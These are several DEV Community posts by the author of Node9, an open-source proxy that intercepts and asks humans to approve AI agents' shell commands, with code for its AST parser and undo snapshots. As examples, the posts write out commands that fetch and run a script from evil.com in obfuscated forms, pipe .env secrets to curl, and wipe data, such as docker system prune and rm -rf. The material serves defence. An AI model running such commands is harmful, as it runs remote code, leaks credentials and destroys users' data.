DEV Community: Node9

AI Sandboxes Aren't Enough: We Need Execution Governance

Node9 — Tue, 31 Mar 2026 14:56:25 +0000

Last week, a local CLI agent offered to "clean up my workspace." I assumed it would delete a few temporary files. Instead, it confidently queued up find . -name "node_modules" -exec rm -rf '{}' + and followed it with docker system prune -af --volumes.

If I hadn't hit Ctrl+C in time, it would have wiped gigabytes of local state and container volumes in milliseconds.

We have crossed a dangerous inflection point. We are no longer just chatting with LLMs; we are giving autonomous agents, like Claude Code, Cursor, and custom "claws", the keys to our terminals. But we are doing it without a seatbelt.

Every developer using an agent today feels this exact same "Terminal Anxiety."

The problem isn’t that AI can execute commands. The problem is we have no control over what it executes.

To solve this, the industry is currently splitting into two distinct architectural categories. Understanding the difference between them is the key to surviving the Agentic Era.

TL;DR:

Sandboxes (like NVIDIA OpenShell) control WHERE an AI runs.

Execution Proxies (like Node9) control WHAT an AI is allowed to do.

For local development, you need a proxy. For production, you need both.

The Sandbox: Controlling Where Agents Run

When security teams see an AI deleting files, their first instinct is to build a zero-trust cage. This is the Infrastructure Sandboxing approach, championed by tools like NVIDIA OpenShell.

To be clear, OpenShell is much more than a simple Docker container. It is a highly sophisticated, kernel-level runtime. It uses Landlock LSM for isolation and features a powerful L7 policy engine. You write a declarative YAML policy defining exactly which binaries (git, python) and which network endpoints the agent can access. It even actively routes inference traffic to prevent data leaks. Everything else is denied by default.

If you are deploying autonomous agents in a headless cloud environment, OpenShell is the gold standard.

But declarative governance has a fatal flaw for local development: it secures the infrastructure, but it does not secure the logic.

Imagine you give an AI agent access to a Postgres database inside an OpenShell sandbox. The YAML policy says "allow access to Postgres." The sandbox perfectly ensures the agent cannot escape the container to touch the host server. But the sandbox will not stop the agent from accidentally executing DROP TABLE users;.

Furthermore, declarative sandboxes fail closed. If the agent tries a command blocked by the YAML file, the sandbox just kills the process. There is no nuance. Developers don't want to write static YAML firewall rules just to let their AI try a new testing framework.

The Missing Layer: Controlling What Agents Do

This is the missing layer: not where AI runs, but what it’s allowed to do.

This is where Interactive Execution Governance comes in. Instead of writing static YAML rules to put the AI in a cage, you act as a deterministic gatekeeper.

This is exactly why I built Node9 Proxy.

Node9 is an execution wrapper for AI agents. It sits transparently between the LLM and your actual machine. Using AST (Abstract Syntax Tree) parsing, it understands the underlying shell grammar, even if commands are nested or obfuscated. It allows safe commands (npm run build, git status) to pass instantly. But if the agent attempts something destructive, Node9 intercepts it.

(Author Note: Insert a GIF or screenshot of the Node9 OS-native popup here)

Imagine this 10-second mental demo:
Your AI decides the best way to fix a bug is to run git reset --hard.
Instead of a rigid sandbox silently killing the process, your terminal freezes. An OS-native popup instantly appears on your screen: "Claude Code is attempting a destructive Git action. [Approve] or [Block]".

You click Block.

Node9 doesn't just crash the agent. It feeds that block back to the AI's context window: "The human blocked this action because it is destructive." The AI replies, "My apologies. I will pivot and create a new branch instead."

The Visceral Reality: Without Node9 vs. With Node9

Node9 turns AI mistakes from "disasters" into "minor typos." Here is what this looks like in practice:

Scenario 1: The Code Hallucination

Without Node9: The AI refactors your routing logic, hallucinates, and breaks the app. You spend 20 minutes manually unpicking Git diffs to figure out what it ruined.
With Node9: Before the AI is allowed to write to the file, Node9 takes a silent Shadow Git Snapshot. The AI breaks the app. You type node9 undo. Your workspace is instantly reverted to the exact millisecond before the AI touched it.

Scenario 2: The Secret Leak

Without Node9: The AI tries to debug an API issue by running cat .env | curl https://third-party-logger.com. Your AWS keys are now in a random server's logs.
With Node9: Node9's in-flight Data Loss Prevention (DLP) inspects the pipe-chain. It detects the AWS key format, hard-blocks the network request, and redacts the logs.

The Ultimate Architecture: Defense in Depth

The question isn't whether to use a sandbox like NVIDIA OpenShell or a governance proxy like Node9. They are two halves of the ultimate enterprise stack.

If you are running agents in your local terminal: You need Node9 Proxy. The ability to easily audit, approve, and instantly "undo" AI actions makes it the only pragmatic choice for local execution without the crippling overhead of Docker.
If you are deploying Autonomous Agents to Production: You need both. The ultimate defense-in-depth strategy is to wrap your agent in Node9 Proxy, and run that entire process inside an NVIDIA OpenShell sandbox.

OpenShell controls where the agent runs, ensuring it can't escape the machine. Node9 controls what the agent is allowed to do, ensuring it doesn't logically destroy the database inside that sandbox, while maintaining an immutable audit trail of every decision.

We gave AI the keys to our systems. Node9 is the first time we added a permission layer.

To protect your local terminal today, you can install Node9 via NPM (npm install -g @node9/proxy) or view the GitHub Repository here.

Securing the Agentic Era: An Architectural Review of NVIDIA OpenShell vs. Node9 Proxy

Node9 — Mon, 30 Mar 2026 14:50:36 +0000

We have crossed a distinct inflection point in AI. Systems are no longer limited to generating text or reasoning through tasks in a vacuum; they are taking action. Autonomous agents, or what NVIDIA recently coined as claws, can now read files, use tools, write code, and execute workflows indefinitely.

But power without governance is simply unmanaged risk. The industry is currently wrestling with a critical architectural question: How do we secure agents that continuously self-evolve and execute actions on our behalf?

Recently, two distinct architectural patterns have emerged to solve this: Infrastructure Sandboxing (championed by NVIDIA OpenShell) and Execution Governance (championed by Node9 Proxy).

If you are deploying or building AI agents in 2026, understanding the difference between these two paradigms, and how they work together, is no longer optional. Here is a technical review of both approaches, how they work under the hood, and where they belong in your stack.

The "Browser Tab" Model: NVIDIA OpenShell

Announced as a core component of the NVIDIA Agent Toolkit, NVIDIA OpenShell takes a zero-trust, infrastructure-level approach to agent security [1].

Instead of relying on application-layer guardrails (like system prompts instructing an LLM to "be careful"), OpenShell assumes the agent is inherently dangerous. It places the agent in a highly restricted, isolated execution environment. NVIDIA aptly describes this as applying the "browser tab" security model to AI agents [2]: sessions are isolated, and permissions are verified by the runtime before any action executes.

Core Architecture

OpenShell enforces out-of-process security. It acts as a managed sandbox backend, utilizing Linux kernel-level isolation (specifically Landlock LSM) and containerization to wrap the agent in strict constraints [1, 3].

Key Mechanisms:

Declarative YAML Policies: Security boundaries are defined as code. You explicitly declare which binary paths, directories, and network endpoints the agent is allowed to access. Everything else is denied by default[1, 3].
The Privacy Router: One of OpenShell’s most robust enterprise features is its ability to intercept outbound inference traffic. It can strip caller credentials and reroute API calls to self-hosted models (like Nemotron) to prevent sensitive context from leaking to third-party endpoints [1, 2].
Process Isolation: OpenShell blocks privilege escalation, sudo, and dangerous syscalls at the moment of sandbox creation. Even if an agent is compromised via prompt injection, it cannot break out of its environment [1].

The Verdict on OpenShell

NVIDIA OpenShell is a masterclass in Infrastructure Security. If you are deploying long-running, autonomous agents in a cloud or multi-tenant environment, OpenShell is the blueprint. It ensures the blast radius of an AI hallucination is strictly confined to a disposable box.

The Logical Governance Gap

But sandboxing alone is incomplete. OpenShell secures the infrastructure, but it does not secure the logic.

If you give an autonomous agent access to your Postgres database inside a sandbox, OpenShell ensures the agent can't touch the surrounding server. But it will not stop the agent from accidentally running DROP TABLE users;.

Furthermore, strict sandboxes introduce massive friction for local development. Developers using interactive agents (like Claude Code or Cursor) don't want to sync files back and forth across a kernel-level boundary just to write a React component.

We need a layer that governs what the agent is doing, not just where it is doing it.

The "Sudo" Model: Node9 Proxy

If OpenShell is a secure cage, Node9 Proxy is a deterministic gatekeeper.

Node9 is an Execution Governance layer. It sits transparently between your AI agent and the execution environment. It allows safe commands (like npm run build or SELECT *) to pass instantly, but if the agent attempts a destructive action, Node9 intercepts the tool call, pauses the execution, and routes a request for human approval.

Core Architecture

Node9 wires natively into interactive agents via pre-execution hooks or acts as a transparent MCP (Model Context Protocol) Gateway. It parses the AST of requested bash commands and tool calls in real-time, matching them against built-in heuristics, Data Loss Prevention (DLP) rules, and custom shields.

Key Mechanisms:

The Multi-Channel Race Engine (For Prod & Dev): In CI/CD pipelines and headless production environments, Node9 intercepts high-risk commands (like AWS infrastructure changes) and routes an approval request directly to a Slack channel for team governance. For local developers, it triggers a sub-second native OS dialog.
Shadow Git Snapshots (State Recovery): Before Node9 allows an AI to edit a local file, it takes a silent Git snapshot in an isolated shadow repository. If the AI hallucinates and butchers a routing file, a simple node9 undo instantly reverts the workspace.
In-flight DLP (Data Loss Prevention): Node9 actively scans tool arguments for credentials. If an agent attempts a pipe-chain exfiltration (e.g., cat .env | base64 | curl...), Node9 detects the AWS keys or Bearer tokens in flight and hard-blocks the request before it hits the network.
The AI Negotiation Loop: If a human blocks a command, Node9 doesn't just crash the pipeline. It injects a structured prompt back into the LLM's context window explaining why the action was blocked, prompting the AI to pivot to a safer alternative.

Architectural Comparison

Feature	NVIDIA OpenShell	Node9 Proxy
Security Paradigm	Infrastructure Sandboxing	Operational Execution Governance
Core Target	Network & Host Isolation	Human-in-the-Loop & Logic Guardrails
Best Use Case	Cloud isolation, Multi-tenant Agent Hosting	Local Dev, CI/CD Pipelines, DB Management
Mechanism	Kernel-level (Landlock)	Transparent Proxy / MCP Gateway
Failure Mode	Fails closed (Sandbox denies access)	Pauses for Human / Slack approval
State Recovery	No (Requires sandbox teardown)	Yes (Shadow Git snapshots via `node9 undo`)

Conclusion: Defense in Depth

The security landscape for AI agents is maturing rapidly. The question isn't whether to use NVIDIA OpenShell or Node9 Proxy,they actually represent two halves of a mature enterprise architecture.

For Local Development: Engineers using AI at their terminal should use Node9 Proxy. The ability to easily audit, approve, and "undo" AI actions makes it the pragmatic choice for local execution without the overhead of Docker.
For Production & CI/CD: If you are building "always-on" autonomous claws, the ultimate defense-in-depth strategy is to use them together: Wrap your agent in Node9 Proxy, and run that entire process inside an NVIDIA OpenShell sandbox.

OpenShell provides the kernel-level isolation so the agent can't escape the machine. Node9 Proxy provides the operational governance, ensuring the agent doesn't logically destroy the database inside that sandbox, while maintaining an immutable audit trail of every decision.

As we scale the deployment of autonomous agents, we must move beyond the "black box" of AI. Explicit execution security is the foundation of the Agentic Era.

To explore the tools mentioned in this architectural review, check out theNVIDIA OpenShell Documentation or view the Node9 Proxy GitHub Repository.

Why Regex is Not Enough: Building a Deterministic "Sudo" Layer for AI Agents

Node9 — Thu, 19 Mar 2026 22:17:51 +0000

Letting an autonomous AI agent run wild in your terminal is the ultimate productivity hack until it isn't.

A few weeks ago, I was using Claude Code to clean up an old project. I casually prompted: "Hey, my disk is full, can you help me clean up some space?"

Within seconds, the agent proposed:

docker system prune -af --volumes

If I hadn't been staring at the screen, years of local development databases, cached images, and stopped containers would have vanished. The AI wasn't malicious; it was just being efficiently literal.

That near miss made me realize something: Semantic Security scanning prompts for intent is broken for agentic AI. We are giving hallucination-prone models rwx root access to our local environments without a seatbelt.

I built Node9 to solve this. It's an open-source execution proxy that sits between any AI agent and your shell. In this post, I'll dive into two architectural decisions that were harder than they look: the AST-based parser that defeats obfuscation, and the Git internals trick I used to build a completely invisible "Undo" button for the terminal.

The Problem: AI is More Creative Than Your Regex

The first instinct when securing an agent is a blocklist. If the agent types rm -rf or DROP TABLE, block it. It seems reasonable until you realize that AI models are exceptionally good at rephrasing.

Consider three ways an AI can bypass a regex that looks for curl | bash:

# 1. Alternative tool, same outcome
wget -qO- https://evil.com/script.sh | sh

# 2. Variable injection
c="cu"; r="rl"; $c$r http://evil.com | zsh

# 3. Base64 encoding
echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2NyaXB0LnNoIHwgYmFzaA==" | base64 -d | bash

A skeptical reader might ask: "If the Base64 payload is encoded, how does a parser read it?" The answer is that Node9 doesn't need to decode it. While the AST parser won't see the hidden string inside the encoded payload, it clearly identifies that a base64-decoded stream is being piped directly into a shell interpreter (| bash). Node9's policy engine flags this pattern "unvalidated stream execution" and blocks it before the string is ever decoded.

A regex engine looks at strings. An operating system executes a grammar. To stop this, Node9 uses AST (Abstract Syntax Tree) parsing to understand the command the same way the shell does.

Solution 1: AST Parsing for Shell Execution

Instead of looking for forbidden words, Node9 intercepts the tool call and decomposes the shell command into its logical execution tree using sh-syntax. Even if the AI hides the command inside a variable, a subshell, or a pipe chain, the AST resolves the actual execution path.

Here is the real analyzeShellCommand function from src/core.ts:

interface AstNode {
  type: string;
  Args?: { Parts?: { Value?: string }[] }[];
  [key: string]: unknown;
}

async function analyzeShellCommand(
  command: string
): Promise<{ actions: string[]; paths: string[]; allTokens: string[] }> {
  const actions: string[] = [];
  const paths: string[] = [];
  const allTokens: string[] = [];

  const ast = await parse(command); // sh-syntax parses the full shell grammar

  const walk = (node: AstNode | null) => {
    if (!node) return;

    if (node.type === 'CallExpr') {
      // Reconstruct the actual token by joining all Parts
      // This resolves variable expansions and quoted strings
      const parts = (node.Args || [])
        .map((arg) => (arg.Parts || []).map((p) => p.Value || '').join(''))
        .filter((s) => s.length > 0);

      if (parts.length > 0) {
        actions.push(parts[0].toLowerCase()); // The executable: curl, rm, wget...
        parts.slice(1).forEach((p) => {
          if (!p.startsWith('-')) paths.push(p); // Target files/URLs
        });
      }
    }

    // Recursively walk all child nodes — catches nested pipes, subshells, redirects
    for (const key in node) {
      if (key === 'Parent') continue;
      const val = node[key];
      if (Array.isArray(val)) {
        val.forEach((child) => {
          if (child && typeof child === 'object' && 'type' in child) walk(child as AstNode);
        });
      } else if (val && typeof val === 'object' && 'type' in val) {
        walk(val as AstNode);
      }
    }
  };

  walk(ast as unknown as AstNode);
  return { actions, paths, allTokens };
}

By the time Node9 finishes walking the tree, it doesn't matter how the AI wrote the command. It extracts the Action (the executable) and the Target (the paths or URLs), then evaluates them against a deterministic policy waterfall, regardless of obfuscation.

If the AST parser fails on a malformed command, Node9 falls back to a conservative tokenizer that splits on pipes, semicolons, and subshell operators. You never get a silent pass-through.

The 100ms Race for a Human Signature

The biggest usability problem for any approval system is Verification Fatigue. If the agent asks for permission on every ls and grep, developers stop reading and start spamming Y. When that happens, security is theater.

Node9 solves this with two mechanisms:

1. Auto-allow safe noise. Read-only tool calls (ls, grep, cat, Read, Glob) are allowed instantly with zero interruption. No popup, no prompt.

2. Multi-Channel Race Engine for destructive calls. When a genuinely dangerous action is detected, Node9 fires three concurrent approval requests:

Native OS popup a sub-second dialog (Mac, Windows, Linux) for instant keyboard approval when you're at your desk
Slack the request hits your phone if you've stepped away
Terminal a traditional [Y/n] prompt for SSH sessions

The first human response wins and unlocks execution. The others are cancelled.

This allows you to walk away from a 20-step autonomous refactor, get coffee, and only be interrupted when something genuinely risky needs your signature.

Solution 2: The Invisible Undo Engine

Sometimes you want the AI to edit files. A refactor across 12 files is exactly where agents are useful. But what if it scrambles your logic?

I wanted a node9 undo command that works like Ctrl+Z for the entire terminal session — one command that snaps everything back to the moment before the AI acted.

The challenge: how do you snapshot a Git repo without polluting the user's branch history or staging area?

A naive git commit -am "AI backup" would ruin the user's git log. A git stash would interfere with their in-progress work. Neither is acceptable.

The answer is Dangling Commits. By creating what Git technically calls "dangling commits" commits not reachable by any branch or tag, we can leverage the full power of the Git object database without polluting the user's development history. They exist inside .git/objects, are completely invisible to git log, git status, and git diff, but are fully addressable by their hash.

Here is the exact createShadowSnapshot function from src/undo.ts:

export async function createShadowSnapshot(
  tool = 'unknown',
  args: unknown = {}
): Promise<string | null> {
  const cwd = process.cwd();

  // Only run in a git repo
  if (!fs.existsSync(path.join(cwd, '.git'))) return null;

  // 1. Create a temporary, isolated index — completely separate from the
  //    user's staging area. We never touch GIT_INDEX_FILE permanently.
  const tempIndex = path.join(cwd, '.git', `node9_index_${Date.now()}`);
  const env = { ...process.env, GIT_INDEX_FILE: tempIndex };

  // 2. Stage all files into the temporary index
  spawnSync('git', ['add', '-A'], { env });

  // 3. Write a Tree object directly to the Git object database
  const treeRes = spawnSync('git', ['write-tree'], { env });
  const treeHash = treeRes.stdout.toString().trim();

  // Clean up the temp index immediately — it was only needed for write-tree
  if (fs.existsSync(tempIndex)) fs.unlinkSync(tempIndex);

  if (!treeHash || treeRes.status !== 0) return null;

  // 4. Create a Dangling Commit — no branch points to it, so git log never shows it
  const commitRes = spawnSync('git', [
    'commit-tree',
    treeHash,
    '-m',
    `Node9 AI Snapshot: ${new Date().toISOString()}`,
  ]);
  const commitHash = commitRes.stdout.toString().trim();

  // 5. Push the hash onto Node9's own snapshot stack (~/.node9/snapshots.json)
  const stack = readStack();
  stack.push({ hash: commitHash, tool, argsSummary: buildArgsSummary(tool, args), cwd, timestamp: Date.now() });
  if (stack.length > MAX_SNAPSHOTS) stack.splice(0, stack.length - MAX_SNAPSHOTS);
  writeStack(stack);

  return commitHash;
}

Why dangling commits are the right primitive

Invisible: The user's git log, git status, and git diff are completely untouched.
Instantaneous: Writing a tree object takes milliseconds regardless of repo size.
Recoverable: The hash is saved to ~/.node9/snapshots.json. Node9 keeps a stack of the last 10 snapshots — one per AI file-writing action.
No staging area pollution: The temporary GIT_INDEX_FILE is created and deleted in the same operation. The user's staged changes are never touched.

When you run node9 undo, it computes a diff between the dangling commit and your current working tree, shows you a unified diff of exactly what the AI changed, and upon confirmation uses git restore --source <hash> --staged --worktree . to revert everything to the exact millisecond before the AI acted. Nothing is reverted until you confirm.

This happens automatically. You don't opt in. Every time Node9 allows an agent to run a file-writing tool (write_file, str_replace_based_edit, Edit, etc.), a snapshot is taken silently in the background.

MCP Servers Are Covered Too

Node9 works with Claude Code, Gemini CLI, Cursor, and any agent that supports tool hooks. But it also secures MCP servers (Model Context Protocol) the new standard Anthropic is pushing for connecting AI to external tools like Postgres, GitHub, and Google Drive.

When you configure a Postgres MCP server, the BeforeTool hook with matcher: ".*" intercepts every tool call — including SQL queries sent through the MCP server — before they execute. Node9 has specific SQL analysis built in:

export function checkDangerousSql(sql: string): string | null {
  const norm = sql.replace(/\s+/g, ' ').trim().toLowerCase();
  const hasWhere = /\bwhere\b/.test(norm);

  if (/^delete\s+from\s+\S+/.test(norm) && !hasWhere)
    return 'DELETE without WHERE — full table wipe';

  if (/^update\s+\S+\s+set\s+/.test(norm) && !hasWhere)
    return 'UPDATE without WHERE — updates every row';

  return null;
}

A DELETE FROM users with no WHERE clause triggers a review popup. A DELETE FROM users WHERE id = 42 passes through. Same principle as the shell parser: policy based on structure, not string matching.

Governed Autonomy, Not a Cage

Building Node9 taught me that the future of local AI tooling isn't about locking agents in isolated VMs where they become useless. It's about Governed Autonomy: you provide the strategy and the final "Yes," the AI provides the speed.

When Node9 blocks an action, it doesn't just crash the agent. It injects a structured message back into the LLM's context:

"SECURITY ALERT: Action blocked by user policy. Reason: Force push is destructive. Pivot to a non-destructive alternative."

The agent reads this, adjusts, and tries a safer approach. The session continues. That's the difference between a firewall and a Sudo layer.

Node9 is 100% open source (Apache-2.0). I'm actively looking for developers to red-team the AST parser. What's the most dangerous command you've seen an agent attempt and can you construct a shell command that bypasses the inspection logic?

npm install -g @node9/proxy
node9 setup

GitHub: [https://github.com/node9-ai/node9-proxy]

Why I'm Afraid of My AI Agents (and Why You Should Be Too)

Node9 — Wed, 18 Mar 2026 15:42:49 +0000

Giving AI a "Sudo" prompt—the missing piece of the Agentic Era.

The Terminal Anxiety

A few weeks ago, I sat in front of my terminal, watching a high-performance AI agent analyze my local environment. I had asked it a simple question: "My disk space is low, can you help me clean up this project?"

Within seconds, the agent proposed a command:
docker system prune -af --volumes

My heart skipped a beat. If I hadn't been staring at the screen at that exact millisecond, years of local development volumes, databases, and cached images would have vanished.

The AI wasn't malicious. It was being literal. It did exactly what I asked. But it lacked the "common sense" to know that a "clean up" shouldn't include a nuclear strike on my local infrastructure.

That was the moment I realized: We are giving AI agents the keys to our kingdoms, but we haven't given them a seatbelt.

The Problem: Execution is the New Frontier

We've spent the last year worrying about "Prompt Injection"—the fear that an AI might say something bad. But we are entering the Agentic Era.

In this era, AI doesn't just talk; it acts. It writes code, manages databases, executes shell commands, and interacts with MCP (Model Context Protocol) servers. When an agent has the power to run rm -rf, git push --force, or DROP TABLE, "Semantic Security" (filtering words) is no longer enough.

We need Execution Security. We need a way to govern the action at the very moment it hits the system.

A "Sudo", but an AI has "Root"?

In the Linux world, we don't let humans run dangerous commands without sudo. It's a moment of friction that forces a human to think. Yet, we often give AI agents unrestricted access to our shells. We trust a hallucination-prone model with permissions we wouldn't give to a junior developer on their first day.

This is why I built Node9.

The Node9 Architecture: Governance for the Agentic Era

Node9 isn't just a regex firewall; it's a deterministic execution wrapper that encases your AI agent. Whether you are running Claude Code in the terminal or building a custom Python agent, here is how Node9 changes the game:

1. The Multi-Channel Race Engine

Friction is the enemy of productivity. If an agent asks for permission via a text prompt every 5 seconds, you'll eventually start typing "Y" without looking. This is "Prompt Fatigue."

Node9 solves this with a Concurrent Race Engine. When a high-risk action is detected, Node9 suspends execution and fires an approval request across all channels simultaneously:

Native OS Popups: A sub-second system dialog (Mac/Win/Linux) for instant approval.
Slack: Remote approval for teams. You can authorize a deployment from your phone while getting coffee.
Browser Dashboard: A local web UI for deep-diving into large SQL queries or code diffs.
Terminal: The classic [Y/n] prompt for headless SSH sessions.

The first human to respond wins and instantly aborts the other requests.

2. The AI Negotiation Loop (The Brain)

Most security tools simply "kill" a process when a rule is triggered. This breaks the AI's train of thought and causes it to crash or loop.

Node9 talks back. When an action is blocked, Node9 injects a structured feedback prompt directly into the AI's context window:

SECURITY ALERT: The command rm -rf / was blocked.
Reason: Destructive command detected.
Instructions: Pivot to a non-destructive cleanup alternative.

The AI understands why it was stopped, apologizes, and adapts its strategy in real-time.

3. Shadow Git Snapshots (The "Undo" Engine)

AI hallucinations are inevitable. Sometimes an agent "scrambles" your code during a refactor or deletes a .env file it thought was trash.

Node9 takes silent, lightweight Git snapshots immediately before any AI file edit. (Note for the Git purists: We use hidden plumbing commands like git commit-tree to create dangling commits, so your actual branch history is never polluted).

If the agent ruins your project, you don't have to spend hours manually reverting. Just run:

node9 undo

You get a full diff preview of what the AI changed and can revert the entire session in one click. It's the "Ctrl+Z" the terminal always needed.

4. Universal Support (CLI & SDK)

Node9 protects CLI tools natively, but we also built a lightweight Python SDK. If you are building custom LangChain or CrewAI agents, you can secure any function by simply wrapping it with the @protect decorator. It automatically pauses execution and pings the human for approval.

How Node9 Compares to the Field

Feature	Cloud Sandboxes (E2B)	Access (Hoop.dev)	Native Prompts (Cursor/Claude)	Node9
Focus	Isolated MicroVMs	Infrastructure Login	Built-in CLI Prompts	Execution Sudo
Strategy	"Run it somewhere else"	"Don't log in"	"Ask before running"	"Govern the action"
UX	Remote / Headless	Bastion-level	Local Terminal Only	Synchronous / Multi-Channel
Governance	None (Disposable)	Team-wide	Solo Developer	Team-wide (Slack + Audits)
Recovery	Destroy the VM	None	Manual	Auto-Undo (Shadow Git)

Vs. Cloud Sandboxes (E2B): Sandboxes are great for executing untrusted code in the cloud. But developers want agents working directly on their local files and databases. Node9 protects your actual machine.
Vs. Native IDE Prompts (Cursor/Claude Code): Built-in prompts suffer from "Prompt Fatigue," have no centralized audit logs for compliance, and can't route approvals to a Team Lead in Slack.
Vs. Hoop.dev: Hoop is a fantastic "Bastion" for access. But even an authorized agent can hallucinate. Node9 is the trigger guard on the gun itself.

Building in the Open

I've decided to make the Node9 core Open Source (Apache-2.0). Security in the Agentic Era belongs to the community. We are currently in Early Beta, and I'm looking for developers to help us define the "Safety Rules" for this new world.

Stop fearing the execution. Start governing it.

🚀 Ready to secure your agents?

node9-ai / node9-proxy

The Execution Security Layer for the Agentic Era. Providing deterministic "Sudo" governance and audit logs for autonomous AI agents.

🛡️ Node9 Proxy

The "Sudo" Command for AI Agents.

Node9 is the execution security layer for the Agentic Era. It encases autonomous AI Agents (Claude Code, Gemini CLI, Cursor, MCP Servers) in a deterministic security wrapper, intercepting dangerous shell commands and tool calls before they execute.

While others try to guess if a prompt is malicious (Semantic Security), Node9 governs the actual action (Execution Security).

📖 Full Documentation →

💎 The Aha Moment	🌐 MCP Gateway
⚡ Key Features	🤖 MCP Server
🎮 Try it Live	🔗 Config Precedence
🚀 Quick Start	⚙️ Custom Rules
🛡️ How Protection Works	🖥️ CLI Reference
🛠 Protection Modes	🗺️ Roadmap

💎 The "Aha!" Moment

AIs are literal. When you ask an agent to "Fix my disk space," it might decide to run docker system prune -af.

With Node9, the interaction looks like this:

🤖 AI attempts a "Nuke": Bash("docker system prune…

View on GitHub

Quick Install:

npm install -g @node9/proxy

Zero-Config Setup:
Just run:

node9 init

Join the Beta: node9.ai

DEV Community: Node9

AI Sandboxes Aren't Enough: We Need Execution Governance

TL;DR:

The Sandbox: Controlling Where Agents Run

The Missing Layer: Controlling What Agents Do

The Visceral Reality: Without Node9 vs. With Node9

The Ultimate Architecture: Defense in Depth

Securing the Agentic Era: An Architectural Review of NVIDIA OpenShell vs. Node9 Proxy

The "Browser Tab" Model: NVIDIA OpenShell

Core Architecture

Key Mechanisms:

The Verdict on OpenShell

The Logical Governance Gap

The "Sudo" Model: Node9 Proxy

Core Architecture

Key Mechanisms:

Architectural Comparison

Conclusion: Defense in Depth

Why Regex is Not Enough: Building a Deterministic "Sudo" Layer for AI Agents

The Problem: AI is More Creative Than Your Regex

Solution 1: AST Parsing for Shell Execution

The 100ms Race for a Human Signature

Solution 2: The Invisible Undo Engine

Why dangling commits are the right primitive

MCP Servers Are Covered Too

Governed Autonomy, Not a Cage

Why I'm Afraid of My AI Agents (and Why You Should Be Too)

The Terminal Anxiety

The Problem: Execution is the New Frontier

A "Sudo", but an AI has "Root"?

The Node9 Architecture: Governance for the Agentic Era

1. The Multi-Channel Race Engine

2. The AI Negotiation Loop (The Brain)

3. Shadow Git Snapshots (The "Undo" Engine)

4. Universal Support (CLI & SDK)

How Node9 Compares to the Field

Building in the Open

🚀 Ready to secure your agents?

node9-ai / node9-proxy

The Execution Security Layer for the Agentic Era. Providing deterministic "Sudo" governance and audit logs for autonomous AI agents.

🛡️ Node9 Proxy

The "Sudo" Command for AI Agents.

Contents

💎 The "Aha!" Moment